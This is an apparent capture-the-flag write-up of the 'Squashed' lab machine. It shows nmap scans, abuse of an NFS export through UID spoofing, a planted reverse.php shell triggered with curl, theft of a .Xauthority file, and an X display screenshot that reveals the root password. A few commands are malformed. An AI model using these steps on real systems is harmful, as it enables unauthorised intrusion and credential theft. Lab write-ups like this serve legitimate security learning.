Samuele Sciatore - Dec, 6, 2022
Samuele Sciatore
Samuele Sciatore - Dec, 6, 2022

Creator: polarbearer &C4rm3l0
nmap -sC -sV -A squashed.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-10 22:21 CET
Nmap scan report for squashed.htb (10.10.11.191)
Host is up (0.11s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind 2-4 (RPC #100000)
We notice that NFS is a service running on port 111, so by searching online we can find on HackTricks this article .
Reading this article we can learn about the NFS service.
showmount -e squashed.htb
Export list for squashed.htb:
/home/ross *
/var/www/html *Now we will mount /home/ross dir to our computer.
cd /tmp
mkdir mounted
sudo -t nfs mount squashed.htb:/home/ross /tmp/mountedExploring files we can find in /Documents a file called Password.kdbx but we cannot decrypt this file cause John does not support his version.
So we mount the /var/www/html directory.
cd /tmp
mkdir mounted2
sudo -t nfs mount squashed.htb:/var/www/html /tmp/mounted2We can see that we have no permissions to open this folder.
cd mounted2
bash: cd: mounted2: Permission denied
ls -l mounted2
ls: cannot access 'mounted2/index.html': Permission denied
ls: cannot access 'mounted2/images': Permission denied
ls: cannot access 'mounted2/css': Permission denied
ls: cannot access 'mounted2/js': Permission denied
total 0
?????????? ? ? ? ? ? css
?????????? ? ? ? ? ? images
?????????? ? ?
Now by running nmap sudo nmap squashed.htb --script nfs-ls we can see that we need a user with uid 2017.
So we will create this user:
sudo useradd pewpew
sudo usermod -u 2017 pewpew
sudo groupmod -g 2017 test
su pewpewNow we can create a new file in the shared folder called reverse.php that will contain code to open a reverse shell generator.
Now we start a listener with nc -lvp 9999 and using curl we will trigger the reverse shell curl squashed.htb/reverse.php.
cat /home/alex/user.txt
b***************6By inspection the system we cannot find a lot of things, but we can see that user ross is logged in with the command w.
So we return to inspect the shared folder /home/ross and we can find a .Xauthority file.
So to read this file we have to create a new user with id 1001
sudo useradd test
sudo usermod -u 1001
sudo groupmod -g 1001
su testNow we can read the file and upload it on a server by which we can download the file from the client.
cat /mnt/ross_folder/.Xauthority | base64 > /tmp/xauth
cd /tmp && python3 -m http.serverNow on the target we go to the /tmp dir and download the xauth file.
cd /tmp
wget 10.10.14.146:8000/xauthNow we can change our session with command XAUTHORITY=/tmp/xauth
We will use a command to take a screenshot of the root user (ross).
xwd -root -screen -silent -display :0 > out.xwdNow move this image to /var/www/html and see it from our pc using nfs.
mv ./out.xwd /var/www/htmlFrom this screen we get the root password by which we can log in as root. c********A.
cat /root/root.txt
5**********d